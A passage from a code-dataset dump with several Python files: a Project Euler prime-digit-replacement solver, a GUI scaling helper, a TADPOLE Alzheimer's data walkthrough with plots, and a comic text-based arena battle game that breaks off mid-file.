prior[i,j,r]=prior[i,j,r]/sum\nprint(np.sum(prior))\n#print(dicts)\n#print(inv_dicts)\n#print(classes)\ncPickle.dump( prior, open( \"so_prior_oid.pkl\", \"wb\" ) )\nwith open('so_prior.pkl', 'rb') as fid:\n so_prior = cPickle.load(fid)\n#print(so_prior)\n","sub_path":"create_prior.py","file_name":"create_prior.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"92503556","text":"\"\"\"\nMichael S. Emanuel\nMon Oct 24 23:18:41 2016\nPrime digit replacements\nProblem 51\nBy replacing the 1st digit of the 2-digit number *3, it turns out that six of\nthe nine possible values: 13, 23, 43, 53, 73, and 83, are all prime.\n\nBy replacing the 3rd and 4th digits of 56**3 with the same digit, this 5-digit\nnumber is the first example having seven primes among the ten generated\nnumbers, yielding the family:\n56003, 56113, 56333, 56443, 56663, 56773, and 56993.\nConsequently 56003, being the first member of this family, is the smallest\nprime with this property.\n\nFind the smallest prime which, by replacing part of the number (not\nnecessarily adjacent digits) with the same digit, is part of an eight\nprime value family.\n\"\"\"\nfrom Primes import PrimeTable\nimport itertools\nfrom typing import List, Tuple, Dict\n\npt = PrimeTable(10000)\n\n# Number of desired primes in family\nfamilySize = 8\ndigitList = ('1', '2', '3', '4', '5', '6', '7', '8', '9')\n\n\ndef templateString(n: int, mask: str) -> str:\n \"\"\"\n n is an int\n mask is a string of length equal to n in digits.\n mask is composed of _ and *.\n A _ is preserved. A * is replaced by any digit (no leading 0s though.)\n Returns a template string.\n \"\"\"\n s: str = str(n)\n k: int = len(s)\n x: List[str] = []\n i: int\n for i in range(k):\n if mask[i] == '_':\n x.append(s[i])\n elif mask[i] == '*':\n x.append(mask[i])\n else:\n raise ValueError\n ('Mask must match length of n and have only _ and *')\n sg: str = ''.join(x)\n return sg\n\n\ndef applyDigit(s: str, d: str) -> int:\n \"\"\"s is a template string, d is the new digit. returns an int.\"\"\"\n return int(s.replace('*', d))\n\n\ndef primeDigitReplace(n: int, mask: str) -> Tuple[int, int]:\n \"\"\"\n n is an int\n mask is a string of length equal to n in digits.\n mask is composed of _ and *.\n A _ is preserved. A * is replaced by any digit (no leading 0s though.)\n Returns the count of primes in the list of generated replacements.\n \"\"\"\n s: str = templateString(n, mask)\n result: List[int] = []\n if mask[0] != '*':\n result.append(applyDigit(s, '0'))\n for d in digitList:\n result.append(applyDigit(s, d))\n # Count number of these that are primes\n primeCount = sum(pt.isPrime(x) for x in result)\n firstPrime = result[0] if (primeCount > 0) else None\n return (primeCount, firstPrime)\n\n\ndef genMasks(k: int) -> List[str]:\n tokens = ('_', '*')\n maskArg: List[Tuple[str, str]] = k * [tokens]\n maskGen = itertools.product(*maskArg)\n maskList = [m for m in maskGen]\n result: List[str] = [''.join(m) for m in maskList]\n result = result[1:]\n return result\n\n\ndef getFirstPrimeInFamily(familySize: int, maskTable: Dict[int, List[str]]) -> Tuple[int, str]:\n # Types\n n: int\n primeCount: int\n firstPrime: int\n mask: str\n # Iterate over primes until one is found with desired family size\n for n in pt.genPrimes():\n s: str = str(n)\n k: int = len(s)\n for mask in maskTable[k]:\n (primeCount, firstPrime) = primeDigitReplace(n, mask)\n if primeCount == familySize:\n return (firstPrime, mask)\n # Dummy return statement to silence mypy\n return (firstPrime, mask)\n\n\ndef main() -> int:\n # Build mask table\n maskTable = {}\n for k in range(1, 11):\n maskTable[k] = genMasks(k)\n # Find the first prime with desired family size\n (p, mask) = getFirstPrimeInFamily(familySize, maskTable)\n # Print the answer\n print(f'Prime {p} has {familySize} primes in its digit replacement family with mask {mask}.')\n return p\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Prob051_PrimeDigitReplacement.py","file_name":"Prob051_PrimeDigitReplacement.py","file_ext":"py","file_size_in_byte":3712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"532165366","text":"# util.py\n# Rohan Weeden\n# Created: Jan. 19, 2018\n\n# Helper functions for the gui\n\nwindow = None\n\n\ndef init(w):\n global window\n window = w\n\n\ndef scale(x):\n \"Scales based on the current window height\"\n w = window.width\n h = window.height\n if (w < h):\n return x * w / 1000\n\n return x * h / 1000\n\ndef inv_scale(x):\n \"Translates a scalled coordinate into a pixel location\"\n\n w = window.width\n h = window.height\n if (w < h):\n return x * 1000 / w\n\n return x * 1000 / h\n","sub_path":"src/gui/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"561562194","text":"# ---\n# jupyter:\n# jupytext:\n# text_representation:\n# extension: .py\n# format_name: light\n# format_version: '1.5'\n# jupytext_version: 1.3.1\n# kernelspec:\n# display_name: Python 3\n# language: python\n# name: python3\n# ---\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#choose a modality\nmodalities={'SNP':('snp_','genetic/'),'ApoE':('apoe_','genetic/'),\"CSF\":('csf_','csf/'),\n \"Cognitive\":('cog_','cognitive_tests/'),\"MRI UCSF\":('mri_ucsf_','mri/'),\n \"MRI Longitudinal FreeSurfer\":('mri_lfs_','mri/'),\"MRI CrossSectional FreeSurfer\":('mri_xfs_','mri/'),\n \"DTI\":('dti_','mri/'),\"PET Averages\":('pet_avg_','pet/'),\"PET Banner Institute\":('pet_bai_','pet/'),\n \"PET AV45\":('pet_av45_','pet/'),\"PET AV1451\":('pet_av1451_','pet/'),\n \"Demographics\":('dem_','demographics/'),\"Diagnosis\":('dx_','diagnosis/'),\"All data\":('','')}\nchoice='CSF'\nfolder=modalities[choice][1]\nfilename=modalities[choice][0]\n\n## Load data\ndata=np.load('../data/tadpole/tadpole_npy/'+folder+filename+'data.npy', allow_pickle=True)\nlabels=np.load('../data/tadpole/tadpole_npy/'+folder+filename+'labels.npy', allow_pickle=True)\n\n# +\n## see what data you have\n\n## these are same for all full datasets\n# print('Patients available: '+' '.join([str(i) for i in list(labels[0])]))\n# print('Time points available: '+' '.join([str(i) for i in list(labels[1])]))\n\n## featues\nprint('Features available: '+', '.join([str(i) for i in list(labels[2])]))\n\n# +\n## accessing data\npatient=31\ntime='bl'\nfeature='TAU_UPENNBIOMK9_04_19_17'\n\n## get index\npatient_index=list(labels[0]).index(patient)\ntime_index=list(labels[1]).index(time)\nfeature_index=list(labels[2]).index(feature)\n# -\n\n## at a certain patient, time point, feature\n#note that these values are strings not floats. this is easy to convert to a float.\ndata[patient_index,time_index,feature_index]\n\n## all features at a time point and patient\ndata[patient_index,time_index,:]\n\n## compressed data is only time points and patients with data\n## Load data\ncompressed_data=np.load('../data/tadpole/tadpole_npy/'+folder+'compressed_'+filename+'data.npy', allow_pickle=True)\ncompressed_labels=np.load('../data/tadpole/tadpole_npy/'+folder+'compressed_'+filename+'labels.npy', allow_pickle=True)\n\n# +\n## see what data you have\n\n## these are same for all full datasets\nprint('Patients available: '+' '.join([str(i) for i in list(compressed_labels[0])]))\nprint('Time points available: '+' '.join([str(i) for i in list(compressed_labels[1])]))\n\n## featues\nprint('Features available: '+', '.join([str(i) for i in list(compressed_labels[2])]))\n\n# +\n#plot how many patients have a certian modality/a certian part of a modality\n#note: this assumes if you have any data for a patient,time you have all data\n\ntimes=list(labels[1]) #times\ncount=[0]*len(times) #how much data at each time, initializes to zero\n\nfor t in range(len(times)):\n #if some data at that time\n if(times[t] in list(compressed_labels[1])):\n index=list(compressed_labels[1]).index(times[t]) #get index of time in compressed version\n for i in [g for h in compressed_data[:,index,:] for g in h]: #concatanates into one list\n #test if not nan\n if i == i:\n count[t]+=1 #add one everytime a pateint has a feature at that time\n count[t]=count[t]/len(list(labels[2])) #divide by number of features\n \nplt.bar(np.arange(len(list(labels[1]))),count,align='center')\nplt.xlabel('time')\nplt.ylabel('count')\nplt.title(choice)\nplt.xticks(np.arange(len(times)),times,rotation='vertical')\nplt.show()\n\n# +\n## plot feature over time for patient\n\n## accessing data\npatient=31\nfeature='TAU_UPENNBIOMK9_04_19_17'\n\n## get index\npatient_index=list(labels[0]).index(patient)\nfeature_index=list(labels[2]).index(feature)\n\n# get y values converting to float and x values\ny=np.array([float(i) for i in data[patient_index,:,feature_index]])\nx=np.arange(len(labels[1]))\n\n#create lists without nan values\nmask = [i==i for i in list(y)]\nx2=x[mask]\ny2=y[mask]\n\n# plot lines where consecutive values\nplt.plot(x,y,'k-')\n# plot dotted lines where non consecutive values\nplt.plot(x2,y2,'k--')\n# plot dots on measured values\nplt.plot(x,y,'k.')\n\nplt.xlabel('time')\nplt.ylabel('test score')\nplt.title(feature+' for patient '+str(patient))\nplt.xticks(np.arange(len(labels[1])),labels[1],rotation='vertical')\nplt.show()\n# -\n\n\n","sub_path":"alz/notebooks/TadpoleDataWalkthrough.py","file_name":"TadpoleDataWalkthrough.py","file_ext":"py","file_size_in_byte":4421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"269853517","text":"import random\r\nimport math\r\nimport sys\r\n\r\ndef MonsterList(filename):\r\n Monsters = {}\r\n name = \"\"\r\n with open(filename) as f:\r\n for line in f:\r\n stats = []\r\n name = line.split(\",\")[0]\r\n stats = line.split(\",\")[1:]\r\n Monsters[name] = stats\r\n return Monsters\r\n\r\ndef MakeMonster(level):\r\n attributes = {\"Dead Beat\" : -10, \"Sexy\" : 10, \"Desperate\" : 5, \"Slimy\" : -5, \"Painfully Honest\" : 0}\r\n ChosenAtt = random.choice(list(attributes.keys()))\r\n buff = attributes[ChosenAtt]\r\n\r\n MyMonsters = {}\r\n MyMonsters = MonsterList(\"BSATXT.txt\")\r\n\r\n name = random.choice(list(MyMonsters.keys()))\r\n\r\n MAttack = int(MyMonsters[name][0]) + buff * level + level*level\r\n MDefense = int(MyMonsters[name][1]) + buff * level + level*level\r\n MSpeed = int(MyMonsters[name][2]) + buff * level + level*level\r\n MHealth = 600 + 100 * level + 20 * buff\r\n\r\n namer = ChosenAtt + \" \" + name\r\n\r\n Monster = [namer, [MAttack, MDefense, MSpeed, MHealth]]\r\n return Monster\r\n\r\ndef Battle(Player, level):\r\n Monster = []\r\n Monster = MakeMonster(level)\r\n print(\"\\n\\nA \" + Monster[0] + \" approaches!!!\")\r\n\r\n movelist = [\"smack\", \"defend\", \"charge\"]\r\n\r\n Charge = 0\r\n MonCharge = 0\r\n\r\n AttackChance =[]\r\n\r\n MonBuffer = Monster[1][2]\r\n\r\n buffer = Player[1][2]\r\n\r\n while Monster[1][3] > 0:\r\n Player[3][0] += 1\r\n move = input(\"\\nChoose your move: \" +\r\n \"\\nSMACK\" +\r\n \"\\nDEFEND\" +\r\n \"\\nCHARGE\" +\r\n \"\\n:\")\r\n while True:\r\n if move.casefold() == \"smack\" or move.casefold() == \"defend\" or move.casefold() == \"charge\":\r\n break\r\n else:\r\n move = input(\"Please enter a valid move. \\n:\")\r\n\r\n MonMove = random.choice(movelist)\r\n\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \" used \" + MonMove.upper() +\r\n \"\\n\\n\" + Contestant + \" used \" + move.upper())\r\n\r\n AttackChance.clear()\r\n spd = 0\r\n uspd = 0\r\n\r\n if move.casefold() == \"smack\":\r\n if MonMove == \"smack\":\r\n while spd < Monster[1][2]:\r\n AttackChance.append(2)\r\n spd += 1\r\n while uspd < Player[1][2]:\r\n AttackChance.append(1)\r\n uspd += 1\r\n winner = random.choice(AttackChance)\r\n\r\n if winner == 1:\r\n att = Player[1][0]\r\n fence = Monster[1][1]\r\n if att*2 > fence:\r\n if Monster[1][3] > (att*2 - fence):\r\n Monster[1][3] = Monster[1][3] - (att*2 - fence)\r\n Player[3][1] += (att*2 - fence)\r\n dialogue = input(\"\\n\" + Contestant + \" did \" + str(att*2 - fence) + \" points of damage! \" +\r\n \"\\n\\n\" + Monster[0] + \"'s health is now \" + str(Monster[1][3]) + \".\")\r\n else:\r\n Player = DeadMonster(Monster, Player, level, buffer)\r\n Player[3][1] += Monster[1][3]\r\n return Player\r\n else:\r\n dialogue = input(\"\\n\" + Contestant + \"'s SMACK isn't powerful enough to do any damage!\")\r\n\r\n if winner == 2:\r\n att = Monster[1][0]\r\n fence = Player[1][1]\r\n if att*2 > fence:\r\n if Player[1][3] > (att*2 - fence):\r\n Player[1][3] = Player[1][3] - (att*2 - fence)\r\n Player[3][2] += (att*2 - fence)\r\n dialogue = input(\"\\n\" + Monster[0] + \" did \" + str(att*2 - fence) + \" points of damage!\" +\r\n \"\\n\\n\" + Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n Player[3][2] += Player[1][3]\r\n GameOver(Player, level)\r\n else:\r\n dialogue = input(\"\\n\" + Monster[0] + \"'s SMACK isn't powerful enough to do any damage!\")\r\n\r\n if MonMove == \"defend\":\r\n dialogue = input(\"\\n\" + Monster[0] + \" defended! \" + Contestant + \" did no damage.\")\r\n Monster[1][2] += 35\r\n if MonMove == \"charge\":\r\n if MonCharge > 2:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \" used it's ULTIMATE SMACK!\")\r\n MonCharge = 0\r\n if Player[1][3] > 400:\r\n Player[1][3] = Player[1][3] - 400\r\n Player[3][2] += 400\r\n dialogue = input(\"\\n\" + Monster[0] + \" did 400 points of damage! \" +\r\n Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n Player[3][2] += Player[1][3]\r\n GameOver(Player, level)\r\n else:\r\n MonCharge += 1\r\n att = Player[1][0]\r\n fence = Monster[1][1]\r\n if att*2 > fence:\r\n if Monster[1][3] > (att*2 - fence):\r\n Monster[1][3] = Monster[1][3] - (att*2 - fence)\r\n Player[3][1] += (att*2 - fence)\r\n dialogue = input(\"\\n\" + Contestant + \" did \" + str(att*2 - fence) + \" points of damage!\" +\r\n \"\\n\\n\" + Monster[0] + \"'s health is now \" + str(Monster[1][3]) + \".\")\r\n else:\r\n Player = DeadMonster(Monster, Player, level, buffer)\r\n Player[3][1] += Monster[1][3]\r\n return Player\r\n else:\r\n dialogue = input(\"\\n\" + Contestant + \"'s SMACK isn't powerful enough to do any damage!\")\r\n if MonCharge == 3:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \"'s ULTIMATE SMACK is fully charged!\")\r\n if move.casefold() == \"defend\":\r\n if MonMove == \"smack\":\r\n dialogue = input(\"\\n\\n\" + Contestant + \" successfully defended \" + Monster[0] + \"'s SMACK.\")\r\n Player[1][2] += 35\r\n if MonMove == \"defend\":\r\n dialogue = input(\"\\n\\nSuccessfully defended.\")\r\n if MonMove == \"charge\":\r\n if MonCharge > 2:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \" used it's ULTIMATE SMACK!\")\r\n MonCharge = 0\r\n if Player[1][3] > 400:\r\n Player[1][3] = Player[1][3] - 400\r\n Player[3][2] += 400\r\n dialogue = input(\"\\n\" + Monster[0] + \" did 400 points of damage! \" +\r\n Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n Player[3][2] += Player[1][3]\r\n GameOver(Player, level)\r\n if MonCharge < 3:\r\n MonCharge += 1\r\n if MonCharge == 3:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \"'s ULTIMATE SMACK is fully charged!\")\r\n if move.casefold() == \"charge\":\r\n if Charge == 2:\r\n dialogue = input(\"\\nYou're ULTIMATE SMACK is fully charged!\")\r\n Charge += 1\r\n if MonMove == \"smack\":\r\n att = Monster[1][0]\r\n fence = Player[1][1]\r\n if att*2 > fence:\r\n if Player[1][3] > (att*2 - fence):\r\n Player[1][3] = Player[1][3] - (att*2 - fence)\r\n Player[3][2] += (att*2 - fence)\r\n dialogue = input(\"\\n\" + Monster[0] + \" did \" + str(att*2 - fence) + \" points of damage!\" +\r\n \"\\n\\n\" + Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n Player[3][2] += Player[1][3]\r\n GameOver(Player, level)\r\n else:\r\n dialogue = input(\"\\n\" + Monster[0] + \"'s SMACK isn't powerful enough to do any damage!\")\r\n if MonMove == \"charge\":\r\n if MonCharge > 2:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \" used it's ULTIMATE SMACK!\")\r\n MonCharge = 0\r\n if Player[1][3] > 400:\r\n Player[1][3] = Player[1][3] - 400\r\n Player[3][2] += 400\r\n dialogue = input(\"\\n\" + Monster[0] + \" did 400 points of damage! \" +\r\n Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n Player[3][2] += Player[1][3]\r\n GameOver(Player, level)\r\n if MonCharge < 3:\r\n MonCharge += 1\r\n if MonCharge == 3:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \"'s ULTIMATE SMACK is fully charged!\")\r\n\r\n elif Charge < 2:\r\n Charge += 1\r\n if MonMove == \"smack\":\r\n att = Monster[1][0]\r\n fence = Player[1][1]\r\n if att*2 > fence:\r\n if Player[1][3] > (att*2 - fence):\r\n Player[1][3] = Player[1][3] - (att*2 - fence)\r\n Player[3][2] += (att*2 - fence)\r\n dialogue = input(\"\\n\" + Monster[0] + \" did \" + str(att*2 - fence) + \" points of damage! \" +\r\n \"\\n\\n\" + Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n Player[3][2] += Player[1][3]\r\n GameOver(Player, level)\r\n else:\r\n dialogue = input(\"\\n\" + Monster[0] + \"'s SMACK isn't powerful enough to do any damage!\")\r\n if MonMove == \"charge\":\r\n if MonCharge > 2:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \" used it's ULTIMATE SMACK!\")\r\n MonCharge = 0\r\n if Player[1][3] > 400:\r\n Player[1][3] = Player[1][3] - 400\r\n Player[3][2] += 400\r\n dialogue = input(\"\\n\" + Monster[0] + \" did 400 points of damage! \" +\r\n Contestant + \"'s health is now \" + str(Player[1][3]) + \".\")\r\n else:\r\n Player[3][2] += Player[1][3]\r\n GameOver(Player, level)\r\n if MonCharge < 3:\r\n MonCharge += 1\r\n if MonCharge == 3:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \"'s ULTIMATE SMACK is fully charged!\")\r\n elif Charge == 3:\r\n if MonMove == \"charge\":\r\n if MonCharge < 3:\r\n Monster[1][3] = Monster[1][3] - 400\r\n Player[3][1] += 400\r\n print(\"\\nYou used you're ULTIMATE SMACK!!!\" +\r\n \" It did 400 points of damage!\")\r\n Charge = 0\r\n MonCharge += 1\r\n if Monster[1][3] > 0:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \"'s health is now at \" + str(Monster[1][3]))\r\n if Monster[1][3] <= 0:\r\n Player = DeadMonster(Monster, Player, level, buffer)\r\n return Player\r\n else:\r\n dialogue = input(\"Both fighters used their ultimates! The moves cancel out!\")\r\n Charge = 0\r\n MonCharge = 0\r\n else:\r\n Monster[1][3] = Monster[1][3] - 400\r\n Player[3][1] += 400\r\n print(\"\\nYou used you're ULTIMATE SMACK!!!\" +\r\n \" It did 400 points of damage!\")\r\n Charge = 0\r\n if Monster[1][3] > 0:\r\n dialogue = input(\"\\n\\n\" + Monster[0] + \"'s health is now at \" + str(Monster[1][3]))\r\n if Monster[1][3] <= 0:\r\n Player = DeadMonster(Monster, Player, level, buffer)\r\n Player[3][1] += Monster[1][3]\r\n return Player\r\n\r\n\r\ndef DeadMonster(Monster, Player, level, buffer):\r\n units = 100 * level\r\n opt = [1, 2]\r\n packs = random.choice(opt)\r\n dialogue = input(\"\\nYou successfully defeated \" + Monster[0] + \"!!!\"\r\n + \"\\n\\nYou found \" + str(units) + \" GALACTIC UNITS.\" +\r\n \"\\nYou found \" + str(packs) + \" MED PACKS.\")\r\n Player[1][4] = Player[1][4] + units\r\n Player[1][5] = Player[1][5] + packs\r\n Player[1][2] = buffer\r\n return Player\r\n\r\ndef GameOver(Player, level):\r\n dialogue = input(\"\\n\\n\" + Contestant + \" was defeated.\")\r\n\r\n dialogue = input(\"\\n\\nGAME OVER\" +\r\n \"\\n\\nYou made it to level \" + str(level) +\r\n \"\\nBetter luck next time!\")\r\n\r\n print(\"\\nFinal Stats:\" +\r\n \"\\nAttack: \" + str(Player[1][0]) +\r\n \"\\nDefense: \" + str(Player[1][1]) +\r\n \"\\nSpeed: \" + str(Player[1][2]) +\r\n \"\\nMax Health: \" + str(Player[1][6]) +\r\n \"\\n\\nTotal Moves: \" + str(Player[3][0]) +\r\n \"\\nDamage Dealt: \" + str(Player[3][1]) +\r\n \"\\nDamage Taken: \" + str(Player[3][2]))\r\n sys.exit()\r\n\r\ndef Shop(Player):\r\n ShopChoice = input(\"\\n\\nWould you like to enter the shop?\" + \"\\n:\")\r\n if ShopChoice.casefold() == \"yes\":\r\n while True:\r\n Pow = 25 + Player[2][0] * 5\r\n Def = 25 + Player[2][1] * 5\r\n Spe = 25 + Player[2][2] * 5\r\n Pac = 35 + Player[2][3] * 5\r\n Hel = 50 + Player[2][4] * 25\r\n\r\n Purchase = input(\"\\nEnter your selection. Type EXIT to leave shop.\" +\r\n \"\\n\\nPOWER:\" +\r\n \"\\n\" + str(Pow) + \" GU\" +\r\n \"\\n\\nDEFENSE:\" +\r\n \"\\n\" + str(Def) + \" GU\" +\r\n \"\\n\\nSPEED:\" +\r\n \"\\n\" + str(Spe) + \" GU\" +\r\n \"\\n\\nMED PACK:\" +\r\n \"\\n\" + str(Pac) + \" GU\" +\r\n \"\\n\\nHEALTH:\" +\r\n \"\\n\" + str(Hel) + \" GU\" +\r\n \"\\n\\n:\")\r\n\r\n\r\n if Purchase.casefold() == \"power\":\r\n if Player[1][4] >= Pow:\r\n Player[1][0] = Player[1][0] + 10\r\n Player[2][0] += 1\r\n Player[1][4] = Player[1][4] - Pow\r\n dialogue = input(\"\\n\\nYou're POWER has increased!\" +\r\n \"\\nReamaining units: \" + str(Player[1][4]))\r\n\r\n else:\r\n dialogue = input(\"\\nYou don't have enough galactic units to purchase this item.\")\r\n if Purchase.casefold() == \"defense\":\r\n if Player[1][4] >= Def:\r\n Player[1][1] = Player[1][1] + 10\r\n Player[2][1] += 1\r\n Player[1][4] = Player[1][4] - Def\r\n dialogue = input(\"\\n\\nYou're DEFENSE has increased!\" +\r\n \"\\nReamaining units: \" + str(Player[1][4]))\r\n\r\n else:\r\n dialogue = input(\"\\nYou don't have enough galactic units to purchase this item.\")\r\n if Purchase.casefold() == \"speed\":\r\n if Player[1][4] >= Spe:\r\n Player[1][2] = Player[1][2] + 10\r\n Player[2][2] += 1\r\n Player[1][4] = Player[1][4] - Spe\r\n dialogue = input(\"\\n\\nYou're SPEED has increased!\" +\r\n \"\\nReamaining units: \" + str(Player[1][4]))\r\n\r\n else:\r\n dialogue = input(\"\\nYou don't have enough galactic units to purchase this item.\")\r\n if Purchase.casefold() == \"med pack\":\r\n if Player[1][4] >= Pac:\r\n Player[1][5] = Player[1][5] + 1\r\n Player[2][3] += 1\r\n Player[1][4] = Player[1][4] - Pac\r\n dialogue = input(\"\\n\\nYou purchased one MED PACK!\" +\r\n \"\\nReamaining units: \" + str(Player[1][4]))\r\n\r\n else:\r\n dialogue = input(\"\\nYou don't have enough galactic units to purchase this item.\")\r\n if Purchase.casefold() == \"health\":\r\n if Player[1][4] >= Hel:\r\n Player[1][6] = Player[1][6] + 100\r\n Player[1][3] = Player[1][3] + 100\r\n Player[2][4] += 1\r\n Player[1][4] = Player[1][4] - Hel\r\n dialogue = input(\"\\n\\nYou're HEALTH has increased!\" +\r\n \"\\nReamaining units: \" + str(Player[1][4]))\r\n\r\n else:\r\n dialogue = input(\"\\nYou don't have enough galactic units to purchase this item.\")\r\n if Purchase.casefold() == \"exit\":\r\n dialogue = input(\"\\n\\nPurchase Complete\")\r\n return Player\r\n if ShopChoice.casefold() == \"no\":\r\n return Player\r\n\r\ndef Menu(Player):\r\n if Player[1][5] > 0:\r\n decision = input(\"\\nYou're health is currently \" + str(Player[1][3]) + \" out of \" + str(Player[1][6]) +\r\n \"\\nWould you like to use a MED PACK? \\n:\")\r\n while True:\r\n if decision.casefold() == \"yes\":\r\n amount = int(input(\"\\nHow many would you like to use? \\nYou currently have \" + str(Player[1][5]) + \"\\n:\"))\r\n while True:\r\n if Player[1][5] >= amount:\r\n Player[1][3] = Player[1][3] + 200 * amount\r\n Player[1][5] = Player[1][5] - amount\r\n break\r\n else:\r\n amount = input(\"You don't have that many MED PACKS.\")\r\n if Player[1][3] > Player[1][6]:\r\n Player[1][3] = Player[1][6]\r\n dialogue = input(\"\\n\\nYou're health is now at \" + str(Player[1][3]))\r\n return Player\r\n elif decision.casefold() == \"no\":\r\n return Player\r\n else:\r\n decision = input(\"Please enter either 'YES' or 'NO'.\")\r\n\r\n\r\ndef Victory(Player):\r\n dialogue = input(\"\\n\\nTriumphant, you step away from MASTER's body. \" +\r\n \"\\nSecurity guards rain down on you, and you concede, \" +\r\n \"\\nknowing you've done all you can, hoping to one day be free again.\")\r\n\r\n print(\"\\n\\n\\nVICTORY\")\r\n\r\n print(\"\\nFinal Stats:\" +\r\n \"\\nAttack: \" + str(Player[1][0]) +\r\n \"\\nDefense: \" + str(Player[1][1]) +\r\n \"\\nSpeed: \" + str(Player[1][2]) +\r\n \"\\nMax Health: \" + str(Player[1][6]) +\r\n \"\\n\\nTotal Moves: \" + str(Player[3][0]) +\r\n \"\\nDamage Dealt: \" + str(Player[3][1]) +\r\n \"\\nDamage Taken: \" + str(Player[3][2]))\r\n\r\n\r\n sys.exit()\r\n\r\n\r\nprint(\"\\nWelcome Contestant!\" +\r\n\"\\n\\nThis is BATTLE SMACK, the ultimate smacking arena!\" +\r\n\"\\n\\nEvery fight is to the death, so be prepared to smack the life out of somebody!\"\r\n\"\\n\\nLet's start by creating your champion!\\n\\n\")\r\n\r\nContestant = \"\"\r\ncount1 = 0\r\n\r\nBPacks = 0\r\nBAtt = 0\r\nBDef = 0\r\nBSpeed = 0\r\nBHealth = 0\r\n\r\n\r\n\r\nattack = 0\r\ndefense = 0\r\nspeed = 0\r\nhealth = 1000\r\nweapon = \"\"\r\nunits = 0\r\npacks = 0\r\nmaxH = 1000\r\nTotalMoves = 0\r\nTotalDamage = 0\r\nTotalDamageTaken = 0\r\n\r\n\r\nContestant = input(\"What is your god-given name? \\n:\")\r\n\r\nwhile True:\r\n if Contestant != \"\":\r\n break\r\n else:\r\n Contestant = input(\"\\nPlease enter a valid name.\\n:\")\r\n\r\n\r\n\r\nClass = input(\"\\n\\nChoose your class, \" + Contestant + \":\" +\r\n\"\\n\\nFISH MAN:\" +\r\n\"\\nAttack: 100\" +\r\n\"\\nDefense: 100\" +\r\n\"\\nSpeed: 100\" +\r\n\r\n\"\\n\\nMOM:\" +\r\n\"\\nAttack: 100\" +\r\n\"\\nDefense: 50\" +\r\n\"\\nSpeed: 150\" +\r\n\r\n\"\\n\\nMUTANT SLOTH:\" +\r\n\"\\nAttack: 100\" +\r\n\"\\nDefense: 175\" +\r\n\"\\nSpeed: 25\" +\r\n\r\n\"\\n\\nFLYING MONKEY:\" +\r\n\"\\nAttack: 150\" +\r\n\"\\nDefense: 75\" +\r\n\"\\nSpeed: 75\" +\r\n\r\n\"\\n\\nARMORED INFANT:\" +\r\n\"\\nAttack: 25\" +\r\n\"\\nDefense: 125\" +\r\n\"\\nSpeed: 150\" +\r\n\r\n\"\\n\\nPIRATE:\" +\r\n\"\\nAttack: 200\" +\r\n\"\\nDefense: 25\" +\r\n\"\\nSpeed: 75\" +\r\n\r\n\"\\n\\nHOBO:\" +\r\n\"\\nAttack: 25\" +\r\n\"\\nDefense: 25\" +\r\n\"\\nSpeed: 25\\n\\n:\")\r\n\r\nwhile True:\r\n if Class.casefold() == \"fish man\":\r\n attack = 100\r\n defense = 100\r\n speed = 100\r\n weapon = \"Caviar\"\r\n break\r\n if Class.casefold() == \"mom\":\r\n attack = 100\r\n defense = 50\r\n speed = 150\r\n weapon = \"Magic Bean\"\r\n break\r\n if Class.casefold() == \"mutant sloth\":\r\n attack = 100\r\n defense = 175\r\n speed = 25\r\n weapon = \"Cardiovascular Disorder\"\r\n break\r\n if Class.casefold() == \"flying monkey\":\r\n attack = 150\r\n defense = 75\r\n speed = 75\r\n weapon = \"Banana Bomb\"\r\n break\r\n if Class.casefold() == \"armored child\":\r\n attack = 75\r\n defense = 125\r\n speed = 100\r\n weapon = \"Tired Parent\"\r\n break\r\n if Class.casefold() == \"pirate\":\r\n attack = 200\r\n defense = 50\r\n speed = 50\r\n weapon = \"Laser Hook\"\r\n break\r\n if Class.casefold() == \"hobo\":\r\n attack = 25\r\n defense = 25\r\n speed = 25\r\n weapon = \"Warm Meal\"\r\n break\r\n else:\r\n Class = input(\"Please enter a category listed above.\\n:\")\r\n\r\nPlayer = [Contestant, [attack, defense, speed, health, units, packs, maxH], [BAtt, BDef, BSpeed, BPacks, BHealth], [TotalMoves, TotalDamage, TotalDamageTaken]]\r\n\r\nprint(\"\\nSelection succesful! \" + Class.title() + \" \" + Contestant + \" has entered the arena!\")\r\n\r\ndialogue = input(\"\\n\\nYou wake up in a clouded haze on a distant planet. You look around, but see nothing.\" +\r\n\"\\n\\nOut of nowhere, a greasy humanoid grabs your shoulder and puts\" +\r\n\"\\na suspicious metal rod up to your neck.\")\r\n\r\ndialogue = input(\"\\n\\nMASTER:\\n'GET UP!!!\" +\r\n\"\\nI PAID 3,000 Galactic Units FOR YOU, SLAVE.\" +\r\n\"\\nYOU BETTER SMACK THE LIVING HELL OUT OF EVERYBODY!!!\" +\r\n\"\\nNOW, TAKE THIS AND GO WIN ME SOME MONEY!!!'\")\r\n\r\ndialogue = input(\"\\n\\nMASTER gives you one rusty \" + weapon + \".\")\r\n\r\ndialogue = input(\"\\nYou slowly walk into a small stone arena, surrounded by lowlifes betting on your demise.\")\r\n\r\nlevel = 